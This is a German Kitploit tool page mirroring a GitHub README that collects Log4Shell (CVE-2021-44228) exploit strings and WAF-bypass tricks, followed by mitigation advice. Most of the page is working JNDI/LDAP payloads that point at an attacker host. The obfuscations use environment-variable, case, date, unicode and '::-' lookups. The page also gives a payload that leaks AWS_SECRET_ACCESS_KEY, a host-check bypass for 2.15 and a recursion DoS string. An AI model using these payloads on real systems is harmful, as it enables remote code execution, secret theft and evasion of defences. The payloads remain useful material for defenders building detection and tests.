Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-44228-PoC-log4j-bypass-words — 🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java-Exploit - WAF-Bypass-Tricks | Kitploit
Tools/GitHubGitHub/puliczek/cve-2021-44228-poc-log4j-bypass-words
Payload-GenerierungSchwachstellenanalyseExploitationIDS/IPS-UmgehungWebanwendungs-ExploitationWAF-UmgehungPenetrationstestsLernen & BildungRed Teaming

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubpuliczek/cve-2021-44228-poc-log4j-bypass-words

CVE-2021-44228-PoC-log4j-bypass-words

🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java-Exploit - WAF-Bypass-Tricks

Repository anzeigen
950134vor 4 JahrenVon Kitploit geprüft
🤝 Zeigen Sie Ihre Unterstützung - geben Sie einen ⭐️, wenn Ihnen der Inhalt gefallen hat | AUF TWITTER TEILEN | Folge mir auf

🐱‍💻 ✂️ 🤬 LOG4J Java Exploit - WAF und Patches Bypass-Tricks

📝 Beschreibung

CVE-2021-44228 funktioniert auf:

log4j: 2.0 <= Apache log4j <= 2.14.1

Bereits gepatchte Java-Versionen: 6u211+, 7u201+, 8u191+, 11.0.1+.

Windows Defender begann, .java-Dateien zu entfernen, die jndi:ldap:.... enthalten.

Einfaches Angreifer-Skript (mögliche RCE):

${jndi:ldap://somesitehackerofhell.com/z}

WAFs oder Entwickler begannen, Phrasen zu blockieren:

  • "ldap:"
  • "jndi:"

um Anwendungen zu sichern.

Der Angreifer kann dies jedoch mit einer dieser Techniken umgehen:

1. Systemumgebungsvariablen

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

Aus der Apache Log4j 2 Dokumentation: ${env:ENV_NAME:-default_value}

Wenn es keine Systemumgebungsvariable ENV_NAME gibt, verwende den Text nach :-

Der Angreifer kann jeden beliebigen Namen anstelle von ENV_NAME verwenden, aber er darf nicht existieren.

Oder der Hacker kann Umgebungsvariablen auslesen, z.B. für AWS_SECRET_ACCESS_KEY:

${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}

Weitere Geheimnisse findest du in 🦄🔒 Fantastische Liste von Geheimnissen in Umgebungsvariablen 🖥️

Du kannst deine Systemumgebungsvariablen überprüfen:

  • Unter Windows in PowerShell ausführen: dir env:
  • Unter Linux/MacOS im Terminal ausführen: printenv oder env

2. Lower oder Upper Lookup

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}

Lower Lookup Der LowerLookup wandelt das übergebene Argument in Kleinbuchstaben um. Vermutlich wird der Wert das Ergebnis einer verschachtelten Lookup sein.

${lower:<text>}

Upper Lookup Der UpperLookup wandelt das übergebene Argument in Großbuchstaben um. Vermutlich wird der Wert das Ergebnis einer verschachtelten Lookup sein.

${upper:<text>}


3. "::-"-Notation

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}


4. Ungültige Unicode-Zeichen mit upper

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

ı wird in i umgewandelt


5. Systemeigenschaften

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

Wenn es keine Systemeigenschaft SYS_NAME gibt, verwende den Text nach :-


6. ":-"-Notation

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}


7. Datum

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}

Java-Datumsformatierung wandelt YYYY in 2021 um, aber 'YYYY' in YYYY oder 'j' in j.


8. HTML-URL-Kodierung

Ersetze Zeichen durch:

  • } mit %7D
  • { mit %7B
  • $ mit %24

Mehr dazu hier HTML-URL-Kodierungsreferenz


9. Nicht existierende Lookup

${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}

Es überprüft nicht die Existenz des Lookups und wertet einfach fröhlich zum Standardwert aus.


10. Polymorph (JSON REST-API-Anfrage)


root@kitploit:~
{
    "one-${jnd${a":"a:-i}:ld${",
    "two":"o:-a}p://somesitehackerofhell.com/z}
}

"Separat stellen diese Schlüssel und Werte keinen Angriff dar. Aber alle zusammen ergeben einen Angriff, und dieser Angriff ist für die Erkennungssysteme aufgrund des JSON-Parsers unsichtbar." Mehr lesen...


11. Unicode-Zeichen (JSON REST-API-Anfrage)

${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}

Wandle einige Zeichen in Unicode um.

Unicode-Konverter Online


12. Trick mit # (funktioniert auf log4j 2.15)

${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}

Umgehung der allowedLdapHost- und allowedClasses-Prüfungen in Log4J 2.15.0. Die Methode java.net.URI getHost() gibt den Wert vor dem # als den tatsächlichen Host zurück. Der JNDI/LDAP-Resolver wird jedoch den vollständigen Hostnamen-String auflösen und versuchen, sich mit dem bösartigen LDAP-Server zu verbinden.

Mehr lesen...


13. DoS-Angriff (Funktioniert auf log4j 2.8 - 2.16 - CVE-2021-45105 )

${${::-${::-$${::-j}}}}

Wenn aus irgendeinem Grund eine Zeichenfolgensubstitution für die folgende Zeichenfolge versucht wird, löst dies eine unendliche Rekursion aus, und die Anwendung stürzt ab.

Mehr lesen...


14. PDF als Zustellkanal.

Erstelle eine spezielle PDF-Datei, um CVE-2021-44228 auszunutzen

PDF-Beispiel

PDF-Datei herunterladen und mehr lesen...

Testen

Zum Testen des Eintrags kannst du Folgendes verwenden:

  • https://canarytokens.org/generate - Wähle Token Log4Shell (Benachrichtigung über Eintrag wird per E-Mail oder Webhook gesendet), generiere und ersetze somesitehackerofhell.com/z
  • https://dnslog.cn/ - Generiere eine Subdomain und ersetze somesitehackerofhell.com/z

✨ Beste Lösung zum Schutz vor CVE-2021-44228

tl;dr Aktualisiere auf log4j-2.17.1 oder höher.

Log4j 1.x Absicherung: Log4j 1.x hat keine Lookups, daher ist das Risiko geringer. Anwendungen, die Log4j 1.x verwenden, sind nur dann anfällig für diesen Angriff, wenn sie JNDI in ihrer Konfiguration verwenden. Für diese Schwachstelle wurde eine separate CVE (CVE-2021-4104) eingereicht. Zur Absicherung: Überprüfe deine Logging-Konfiguration, um sicherzustellen, dass kein JMSAppender konfiguriert ist. Log4j 1.x Konfigurationen ohne JMSAppender sind von dieser Schwachstelle nicht betroffen.

Log4j 2.x Absicherung: Implementiere eine der folgenden Absicherungstechniken.

  • Java 8 (oder höher) Benutzer sollten auf Version 2.17.1 aktualisieren.
  • Benutzer, die Java 7 benötigen, sollten auf Version 2.12.4 aktualisieren, sobald diese verfügbar ist (in Arbeit, voraussichtlich bald verfügbar).
  • Andernfalls entferne die JndiLookup-Klasse aus dem Classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class und entferne Verweise auf Context Lookups wie ${ctx:loginId} oder $${ctx:loginId}, wenn sie aus externen Quellen wie HTTP-Headern oder Benutzereingaben stammen.

Beachte, dass nur die log4j-core JAR-Datei von dieser Schwachstelle betroffen ist. Anwendungen, die nur die log4j-api JAR-Datei ohne die log4j-core JAR-Datei verwenden, sind von dieser Schwachstelle nicht betroffen.

Quelle und mehr lesen...

Bleib sicher!

🤝 Zeige deine Unterstützung

🤝 Zeige deine Unterstützung - gib einen ⭐️, wenn dir der Inhalt oder das Meme gefallen hat | AUF TWITTER TEILEN | Folge mir auf

log2

📝 Nützliche Links

  • Apache Log4j 2 v. 2.15.0 - Benutzerhandbuch
  • Mögliche erste Veröffentlichung des Lower/Upper-Bypasses
  • CVE-2021-44228 (Apache Log4j Remote Code Execution)
  • HTML-URL-Kodierungsreferenz
  • GitHub geprüft CVE-2021-44228 - Remote-Code-Injection in Log4j
  • Apache Log4j Sicherheitsschwachstellen
  • Programm log4j-detector - Erkennt Log4J-Versionen in deinem Dateisystem in jeder Anwendung, die anfällig für CVE-2021-44228 und CVE-2021-45046 sind
  • Polymorpher Log4J-Exploit, der eine gültige JSON-REST-API-Anfrage ist
  • Umgehung von NGFW/WAFs mit Datenformat-Verschleierungen
  • LOG4J2-3230 Bestimmte Zeichenfolgen können unendliche Rekursion verursachen
  • Hier ist ein PoC zur Umgehung der allowedLdapHost- und allowedClasses-Prüfungen in Log4J 2.15.0
  • 🦄🔒 Fantastische Liste von Geheimnissen in Umgebungsvariablen 🖥️
  • Ausnutzung von CVE-2021-44228 mit PDFs als Zustellkanal - PoC

🙌 Danke an die Benutzer für ihren Beitrag

  • Alle Mitwirkenden
  • Whatsec für weitere Beispiele für Umgehungen
  • manjula-aw für Verbesserungen im Sicherheitsabschnitt
  • juliusmusseau für ein weiteres Beispiel einer Umgehung

✔️ Haftungsausschluss

Dieses Projekt darf nur zu Bildungszwecken verwendet werden. Die Verwendung dieser Software gegen Zielsysteme ohne vorherige Genehmigung ist illegal, und der Autor übernimmt keine Verantwortung für Schäden, die durch Missbrauch dieser Software entstehen.

Ich bin nicht der Autor von CVE-2021-44228 und einigen Umgehungen.

Tool herunterladen